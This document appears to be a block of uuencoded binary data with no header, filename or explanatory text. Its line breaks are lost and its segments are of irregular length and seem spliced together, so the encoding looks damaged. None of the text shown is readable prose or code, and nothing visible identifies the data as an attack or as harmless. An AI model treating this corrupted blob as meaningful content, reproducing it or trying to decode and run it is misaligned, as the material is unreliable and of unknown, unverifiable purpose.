MWYU&N42:G5JY1][8N4,(5]I M;G4Z?VDZW8Z:V]_.E!72CHJ*RHJV+E#"%?:3IO='LZ M;G]Y='-Y>SI[=&YS-W)_;VAS:6YS>7L:&B%8;W]T=38Z>WE[.G]I;GLZ=G4Z M:V]_.GY_>7-[.GMT;G]I.FEU>&A_.G]V.EY.6S0T-#I;=&Y_:3I^?SI_<']Y M;VY[:#I_=CI\WA[.EM43E]).GY_.GAO M:7E[:#IV=6DZ6557-#0Z0SIVSIR>WUU.G]V.FE[=FYU M&B%[=CIU?'QI?VXZ*RHJSI_:6Y[-#0T.G9_.GYS.G]V.GEU=&YH M=78Z>W8Z6557.GMT?'-N:'-U=#HA,QHA-S&A_.G]V.GQS=G\Z?W1Y=71N:'M^=1KE$G-T M;N4?*B@K&KE'R%#.G9U M:3I];WMH?GLZ?W0Z6&-N?VE%56AS?1KE$G-T;N4?*B@K&-N?VE%=6AS?3HQ.GAJ,2E'.B%,?VAS?'-Y>SII MSHQ.GAJ&N42<'1_Y1]3='Q_ M>6Y[:!H:(5EU=#I_:6Y_.GEU?G-]=3IL?VAS?'-Y=3II7-_=#I_='EU=&YH>WYU.D-;.G]I;GMX>SIS='Q_>6Y[?G4T-!HA5G4Z:V]_ M.G)[?74Z?VDZ>WAH75W:GMH>V@Z?W8Z+FYU.GAC;G\Z M>75T.CWA/3IC.FES.GEU7)S;'4Z M?VEN>WA[.G-T?']Y;GM^=30T.E1U.G]I.GEU=&Q_='-_=&Y_.GER?VMO?WMH M.GEU=#I/5#II=79U&B%X8VY_-CIC>SIK;W\Z>75H:']W=6DZ?W8Z:'-_:7UU M.GY_.FMO?SI_=CI\6Y[?G4V.FI_:'4: M(6IU:#IO='LZ?G\Z?VE[:3IY>VEO>W9S?GM^?VDV.FY_='U[.G]T.FEO.BYN M=3IX8VY_.F]T.CWA/30T.E]T;G5T>7]I.G]V&B%LSI_:6Y[>'LZWYU.F,Z='4Z=G4ZS0T&B%)SIY M=7=J>VA[>7-U=#I453I^>SI9?VAU-CIU:7][.FMO?SI453I_:'LZ/>$]-CII M?SIJ:']J>VA[.FI[:'LZV@:(7]V.GQS=G\T-#HR:7MV;GLZ>SI3 M5%Q?64Y;2#,T-#0Z:7-T=7SIK;W\Z7TE.6UA;.G-T?']Y;GM^=38Z M:7-];W\:(7AO:7E[='YU.G5N:'4Z?'-V?S0T-#IJ?VAU.GMT;G]I.GES?VAH M>SI_=CI\WAS>SI[>'-_:&YU-#0:(3SIS='Q_>6Y[?G4T.EAO:7E[.G5N:'4:Y1)W=6SE'WMR-CHJ*7]R&N42 MW1N?VAS=6@:&N42=W5LY1][ MVDZ?'-V?VD:Y1)P=VKE'U)[8T5\SIX;VEY M>SIU;FAU.GQS=G\T-#IIW9N>SIJ=6@Z?W8Z4%@Z,G!O=VHZ>']V=6TS M-CI_:3IK;W\Z='4Z7MH.FES.F-[.G]I;GMX>SIS='Q_>6Y[ M?G4T-#HR4%=*.E);0T5<4U9?23,:(36Y[.G]V.GQS=G\[&N42:G5JY1]X M8AKE$FIO:7+E'GAB&N42=W5LY1][8C8Z*BXH*BIRY10A5V]_;'\Z?W8Z:F]T M;G]H=3I^?SIV?WEN=35_:7EH7-J M6AS;'\Z?W8Z<'=J.FI[:'LZ?W8Z3'-H M;VD:Y1)J;VERY1YX8AKE$G=U;.4?>W(V.BHN*G(:Y1)W=6SE'WEB-CHK&N42 M=G][Y1]^8C8Z4&]W:CHQ.GAJ&N426(V.BCE M"2%9>W9Y;W9[.G]V.G!W:CIJ>VA[.G]V.FQS:&]I&N42=W5LY1]IW+E%2$R=G5T?7-N;WXZ?G]V.FIH=7TT.C$Z*S,:Y1)V?WOE'WYS-CIX:CHQ M.E9U='US;F]^&N42:']JY1]W=6QI>!KE$GM^?N4?5G5T?7-N;WXZ,3IX:C8K M&AKE$FIU:N4?>&+E#"%=:'MX>SI_=CIH?VEO=FY[?G4Z?G]V&N42:F]I M>&+E#"%Y>W9Y;W9U.GMT;G]H6(V.B@:Y1)V?WOE'WYB-CI6=71]&+E#"%?:7EH7-U=!KE$FIO M:7+E'GAB&N42=W5LY1][6(V.BL:Y1)V?WOE'WYB M-CIX:CHQ.EQS:'=[&N42&(:Y1)J;VERY1YX M8AKE$G=U;.4?>V(V.BHN*"HHW8Z?'-T>W8Z?G]V.FIH=7TT&N42 M=W5LY1]Y8C8Z*AKE$G=U;.4??F(V.BH:Y1)S=&[E'RHH*W(:&N42=W5LY1]Y M8C8Z+BE^Y0LA2']I;GMO:'LZ?W8Z7DY;.G5H&HZ,3I>3EM%=6AS?1KE$G=U;.4??G,V.BHJ(BIR&N42:']JY1]W=6QI>!H: MY1)W=6SE'WEB-BXI?N4((5AU:&A[.G9[.FQ[:'-[>'9_.EY.6T5U:'-]&N42 M=G][Y1]X8C8Z7DY;175HSIT=3IY M:'][:!I>3EM%>79H(.4Z(7Q[=FE[:3I[=GMH=WMI.G]T.G9U:3I[=&YS-VQS M:&]I&N42=W5LY1]X8VY_.FIN:#I!>&)'-BKE$R%R?V]H>4?>&(:Y1)V=75JY1Y>3EM%>79H&AKE$FIU:N4?>&+E#"%?:7EHW(V.BHN*G(: MY1)W=6SE'WEB-CHK*BHJ?N45(5]V.FQS:&]I.G=S?G\Z+RLH?CIX8VY_:30Z M2G]H=1KE$G9_>^4??F(V.GAJ.C$Z675WSHK*BHJ M?CIJ=6AK;W\Z?VDZ=W]T=6D:Y1)S=&[E'RHH*W+E#B%T=6YU:'-U&AKE$FIU M:N4?>&+E#"%#>SIS='Q_>6YU.G]V.FIH=7T[&N42=W5LY1][QKE$G-T;N4?*B@KV+E#"%?:6YU.G]I.G-] M;WMV.GLZ4%=*.BHK*BIR&N42<'=JY1][8N4,(5]I.F]T>SIN?WETQH:&FEN>VAN.G]T?FH:>75^VAN&AHA-S'][ M:6X[.B8W-S<:&B%$6%M95D@@1%@Z7W8Z3EA;3#IC.G]V.EPW2DA53CIT=3IV M=3I^?VY_>6Y[=#IY=70Z>&]I:V]_?GLZS8Z:G]H=1HAY1QI MWYU.GEU=#II;FAS='UI.GY_.GAO:6MO?WY[ M-!HA1%A;659(*"!$6$ES.G9_:3IS=&Y_:']I>SI_=CI\;W]T;G\Z54A375-4 M6U8Z?G]V.FQS:&]I-CII?SI_='EO?W1N:'LZ?G-I:G5TW0Z?W0Z=GLZ=G-I;GLT M-!HA-S&-N?SIJ;WAV M?VE_=&E[=WAV>WYU.FIU:#I.:&]H=CIJ>VA[.E=S='5N>V]H.E=[?7M@S8Z?VD@>VQS:6I[ M-CII:2![;'-I:GL:Y1(T*R(L&N42=6A].BLJ*G(:(3I,VA[:7-N6YU:#I^?SI? M0E\V.E]T>6AS:FY[?G4:(3I)&-N?VDT&B$Z56AS M?7]T(#I;:'U_=&YS='L:26Y[:&X@&B$Z5G4Z:V]_.FQS?W1_.GLZ>75T;G-T M;WMYSI^?VE_='EHVAS>SI^?SIS M='Q_>7ES=70:(3I[.G-T?']Y>7-U=#I_=#I[=GUO='5I.GAC;G]I-CIJ;W]I M.G]V.FQS:&]I.G)[>7\Z;G5^=3IO=#IS=&Y_:'E[=WAS=30:Y1)754SE'UA" M-BH:Y1)*3TE2Y1Y90AKE$DI52N4?64(:Y1);7E[E'UA6-BH:Y1)*3TE2Y1Y> M0AKE$DI52N4?7D(:7G]Y:&-J;B :Y1)754SE'UM"-GEI($%80D<:Y1)*3TE2 MY1Y>0AKE$DI52N4?7D(:Y1)754SE'UE"-BH:Y1)*3TE2Y1Y>0AKE$DI52N4? M7D(:Y1))3UCE'UE6-BH:Y1)*3TE2Y1Y)4QKE$DI52N4?25,:Y1)454H:Y1)" M54CE'UM"-EE"&N422D])4N4>25,:Y1)*54KE'TE3&N425U5,Y1]Y:2!!6$)' M-EM"&N422D])4N4>25,:Y1)*54KE'TE3&N424U19Y1]80AKE$E152AKE$E-4 M6>4?6$(:Y1)*3TE2Y1Y)4QKE$DI52N4?25,:Y1)754SE'UM"-BH:Y1)*3TE2 MY1Y>4QKE$DI52N4?7E,:Y1);7E[E'UM"-BH:Y1)*3TE2Y1Y>4QKE$DI52N4? M7E,:Y1)454H:Y1)95TKE'UA"-EM"&N422D])4N4>7E,:Y1)*54KE'UY3&N42 M4%CE'%Y_>6AC:FX:Y1)454H:3'-H6']]W1^=G]H.GY_=CI\V@:Y1)5=GY?=&YH8TIU7%*;FCE'WY^Y1PJ.B$Z24D@24HZ?G]V.G)_ M>WY_:#I?0E\:Y1)?:&AU:$Q[:.42?GCE'"HZ(3I<=GM].GY_.G]H:'5H.C(K M.BW=_2FYHY1-^?N4<*CHA.DIO=&Y_:'4Z>SI\WY[.GLZ+E@Z4U1..B@K-!KE$E5V?E-T;B@NY1)^?N4<*CHA M.DIO=&Y_:'4Z>SI324@Z?G\Z4U1..B@N.G5HSI_:3IW?WYS=3I[=G]L=6EU-!KE GYXY1PJ-BHV*C8J.B$Z>W8Z:G]^=3HH M&N42579^4W1N*RGE$GY^Y1PJ.B$Z2F]T;G]H=3I[.E-)2#I^?SIS=&XZ*RDZ M=6AS?7-T>W8T&N422'][?EAO?'Q_:.4SIV?WEN;VA[.C)O:7M^=3IJ>VA[.GMO;G5H?WEU='5YSIS='Q_>6Y[:#0:Y1)\3G-W?UY[;G_E'7Y^Y1PJ.B$Z3G-W?SH\.EY[ M;G\Z?G]V.GQS=G\T&N426&-N?TI[:'OE$GYXY1PJ.B$Z5&AU-#I^?SIX8VY_ M:3IK;W\Z?'MV;GMT.FI[:'LZ?W8Z:GMH>S0:Y1))'M]?SIJ>VA[.FIU=']H.GMV.GQS='MV-!KE M$E=_=UAV=7EQY1)^;>4<*CHA.F]I>WYU.GYO:'MT;G\Z=GLZ75WSII=6EJ?WER>V@Z:V]_.FIO:74Z>7]H=6DZ:GMH M>SI^?VEJV@T&N4"?GCE'"HV.BHZ(3I[=CIJ?WYU.BD:Y1),W=_ M.GYXY1PX144Z3'-H;VDZ6VQS:6I[.C&A_.BLC(RDZ144X&AHA.C0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T M-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T M-!HA.DI[:&Y_.G-T:6Y[=GM^=6A[&B$Z6VMOSII6AS:FY[?G4T M&DEN>VAN3'-H(!KE$E=53.4?6T(V+EA<7'(Z(3IH?VES?G]T>7\Z;G]I;AKE M$E-43N4?*"MRY1PA.GY_?'-TV@Z;'-H;VD:(3I?:6Y[.G]T.G=_=W5HWEQ2FYH M,2@:Y1)754SE'UA"-EY)&N426UY>Y1];0C8K*G(:Y1);7E[E'UM"-EA"Y1DA M.DIU='\Z?W0Z24DZ8SI)2CII;VDZ;'MV=6A_:3IU:'-]WY_:#I_8G\Z:FA_;'-U.GLZ=GLZWEQ2FYH&N425U5, MY1])2C9;0AKE$E=53.4?6T(V>6D@;75H?CIJ;F@Z579^7W1N:&-*=7-T;C$H M(3I^?W8Z64D@4THZ?G\Z?W1N:'M^>S0:Y1)754SE'UA"-EY)Y1DA.D,Z>SIR M=6A[.FE[=FY[:#I[=CI[?FA_:6DZ=6AS?7-T>W8:Y1);7E[E'UM"-BLJ7N4?6T(V6$(:Y1)*3TE2Y1Y;0AKE$E=53.4?6T(V>6D@;75H?CIJ;F@Z M579^7W1N:&-*=7-T;AKE$DI/25+E'EM"&N422%].7!H:(3I4=3I_:6Y[.G]T M.G=_=W5H2>4<(3I6=3IK;W\Z M?VEN>SIR>WES?W1^=3I_:3IY=6IS>V@Z:6\:Y1)*54KE'U])Y1PA.FIH=6IS M=3IY=7YS?74V.FMO?SI_:6Y[.GMV.GQS='MV.GY_=AKE$E=53.4?7E,V*RHJ MSIR=6EN?QKE$DI/ M25+E'EE)Y1PA.GMV.FIHSI[ M:7,:Y1)*54KE'UY)Y1PA.FMO?WY[:#IH?VES?G]T;G\Z>75H:']Y;GMW?W1N M?SIY=70:Y1)754SE'TE3-BLJ*G(Z(3IO='LZ=G9[=WM^>SIT=6AW>W8Z>SI> M54DT&N42659>Y1V@Z M?W8Z>75T;FAU=CI[=AKE$E=53.4?64(V(BHJ75T;FAU=CI[=CI922!32CII7TGE'"$Z6SIY=71NWES=70Z:7MV M;GLZ>W8Z>75^7MX>SI^?SIY=6IS>V@T&N422D])4CHZ=7Q\ M:7]N.EAH>W1Y7)%6WY^:']I:2 :Y1)* M3TE2Y1Y92>4<(3IW=7YS?'-Y>SI_=CIX=G5K;W\Z?G\Z=W]W=6AS>SIJ>VA[ M&N422E5*Y1]>2>4<(3IJ=71_:'9U.G]T.B,J.FI[:'M]:'M\=6D:Y1)754SE M'UM2-BY;&Y_=']H.E-T;CHK*1KE M$E-43N4?*"MR&N425U5,Y1]M=6A^.FIN:#I5=GY3=&XK*3980B$Z8SI];WMH M?GMH=GL:Y1)754SE'VUU:'XZ:FYH.E5V?E-T;BLI,2@V.E])&N425U5,Y1]; M0C8H+R@KV@Z M0C9U?'QI?VXZ5']M4W1N*RD:Y1)35$[E'R@KW=_&N42 M(5!72N4>47]_:DA_:3HA.E]I;G\Z4%=*.G)[8SIK;W\Z M.EE57E]>.QI[;V)%*R Z.GYX.BI_(W(:Y1)^;3IU?'QI?VXZ47]_:DA_:3VA[ M.G9V>W=[:#I[.FIH=7TZ=6AS?70T&EY[;GM<=6A(;W0@&N42?FWE'27E'"$Z M7W1L>VY[7'5H2&]T-E])&N42 M5U5,Y1]M=6A^.FIN:#I>>VY[7'5H2&]T,2XV64D:Y1)754SE'VUU:'XZ:FYH M.EY[;GM<=6A(;W0Q(C9921KE$E=53.4?;75H?CIJ;F@Z7GMN>UQU:$AO=#$K M*#9921KE$E=53.4?6$(V=7Q\:7]N.EY[;GM<=6A(;W0:Y1)*3TE2Y1Y?21KE M$DI52N4?7DD:Y1)*3TE2Y1Y921KE$DI52N4?7TD:Y1)754SE'UM"-BY8*BIR M&N422D])4N4>64D:Y1)*54KE'TE)&N425U5,Y1])2C8C*BIR&N422D])4EP: MY1)96U96Y1Y^;75H?CIJ;F@Z>6D@579^4W1N*"L:Y1)*3TE2Y1Y>21KE$DI5 M2N4?7TD:Y1)754SE'UM2-BXCW1N?SI35$XH*SI;4B75T.B,J.FI[:'LT&E%_?VI( M?VD@&N425U5,Y1];4C8I*W(:Y1)754SE'UY"-B,J75^&EU=F]N=3I^?VEJ?VA^WAS>SIK;W\Z6U(G M*2LZ4U1..B@K.G1U.GY_;&]_=FQ_.G]V.GEU=&YH=78Z(#&]_='LZ=71^>S8Z7W9S<'MR-CIR?W)_,QKE$E=53.4?6U(V+EER M&N424U1.Y1\H*W(:&B$Z-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T M-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T-#0T M&B$Z2&]N7\Z;G]I;AKE M$E-(7TX:(3IT=3I_:3IH?VES?G]T>7\Z;G]I;C0:7755=" :Y1)95TKE'UM" M-BY8*BIRY1(A.E]I.GQO='ES=70Z2&]T.FIH=7UH>WW=<;W1Y&N424%=*Y1]^;75H?CIJ;F@Z>6D@579^4W1N*"LZ(3IT=3HG M)#I35$XZ*"LZ=6AS?7-T>W8T&AI(;W1*:'5]:'MW7&]T>2 :Y1)*3TE26QKE M$DI/25+E'E])&N422D])4N4>7DD:Y1)754SE'WEI(&UU:'XZ:FYH.E1[=W]* M;F@Q*#9>22$Z?6][:'Y[:#I^:1KE$E=53.4?>6D@;75H?CIJ;F@Z5'MW?TIN M:#9>0CHZ(3IC.GYB.G]T.G=_=W5H6]S?GM^=6E[=W]T;G\T&N4265M6 M5N4>4W1\?WENY0@A.G9V>W=[:#I[.FAO;G-T>SIS='Q_>6YU:'LT&N422E5* MY1]>21KE$DI52N4?7TD:Y1)*54I;&N424%=*Y1]^;75H?CIJ;F@Z>6D@579^ M4W1N*"OE&2$ZSIH-6T:Y1)754SE'UM6-B@:Y1)754SE M'UY"-FUU:'XZ:FYH.E1[=W]*;F@:Y1)754SE'UY)-GEI(&UU:'XZ:FYH.E1[ M=W]*;F@Q*!KE$DI/25)<&N4265M65N4>?FUU:'XZ:FYH.GEI(%5V?E-T;B@K M&N424%CE'%]H:'5H6W1^77]N56]N.CHA.DES.G)O>'4Z?VAH=6@Z)R0Z27MV M?QKE$DI/25+E'EE)&N422E5*Y1]>21KE$E=53.4??%)[='YV?V@V6T+E'R$Z M76][:'Y[:#I_=CIR>W1^=G]H&N425U5,Y1]80C9;0AH:Y1)754SE'UM2-BE< M6D@?'PV.G!_.G!_,QKE$E=53.4?7D(V(BIR M&N422D])4EP:Y1)96U96Y1Y^;75H?CIJ;F@Z>6D@579^4W1N*"L:&N425U5, MY1];4C8I7W(:Y1)754SE'UA"-GQ2>W1^=G]H&N422D])4EP:Y1)96U96Y1Y^ M;75H?CIJ;F@Z>6D@579^4W1N*"OE&2$Z>7]H:'MH.GQS=G\T&AKE$EE72N4? M355(7CI*3D@Z?FD@02(J.DI.2#I^ M:2!!(RYR1S8JY1\A.DES.EE).G4Z4THG*C8Z6U(G*SIC&N424%1 Y1]*:'5Y M?W]^4W1\?WENY0$A.G1U.G-T?']Y;GLT&N4265=*Y1]-54A>.DI.2#I^:2!! M(RQR1S8JY1\A.FES='4V.G-T?']Y;GLT.C(I*2\S&N424$#E'%]H:'5H6W1^ M77]N56]N&N42(5!72N4>2FAU>7]_?E-T?']Y;N41(3IU;FAU.FMO?SIR>V,Z M:V]_.G)[>7]H.G)[:'XZ>75^?WX:>V]B12@@.CI^>#HJ?R-R&N42?FTZ=7Q\ M:7]N.DIH=7E_?WY3='Q_>6XW=7Q\:7]N.GMO8D4H-RD:&E]H:'5H6W1^77]N M56]N(!KE$E=53.4?6U(V*QKE$DA?3AH:2FAU>7]_?E-T?']Y;B :Y1)*3TE2 MY1Y921KE$DI52N4?7DD:Y1)754SE'UM2-BE> M?FUU:'XZ:FYH.GEI(%5V?E-T;B@K&AKE$E!8Y1Q?:&AU:%MT?EU_;E5O;N40 M(3I)75T.G]H:'5H&N422D])4N4>64D: MY1)*54KE'UY)&N425U5,Y1]\4GMT?G9_:#9;0N47(3I=;WMH?GLZ?W8ZW1^=G]HY10C8J&N425U5,Y1]90C8J&N424U1.Y1\H*W(:Y1)95TKE'UM" M-BDNV(F*2YR.B"DN.B$Z=6YH=3IR>VA^.GEU M?G]^&GMO8D4I(#HZ?G@Z*G\CV]B12DW*1I>?WE>8B :Y1)>7UGE'UY"&DEO>"DN(!KE$DE/6.4?6T(V*2YR MY1TA.E9_.FA_:6Y[.BDNW1N?QKE$E-4 M3N4?*"MRY1 A.GY_=CI_=7PT&AKE$E=53.4?6U(V*5QRY1TA.E9_?SHI+G(Z M>&-N?VDZ>SI8;WQ\?V@:Y1)754SE'UA"-GQ2>W1^=G]H&N425U5,Y1]90C8I M+G(:Y1)754SE'UY"-G5\?&E_;CI(?WM^6&]\?']H&N424U1.Y1\H*W(:&N42 M5U5,Y1];4C8I7W+E'2$Z67-_:&A[.G]V.GQS=G\T&N425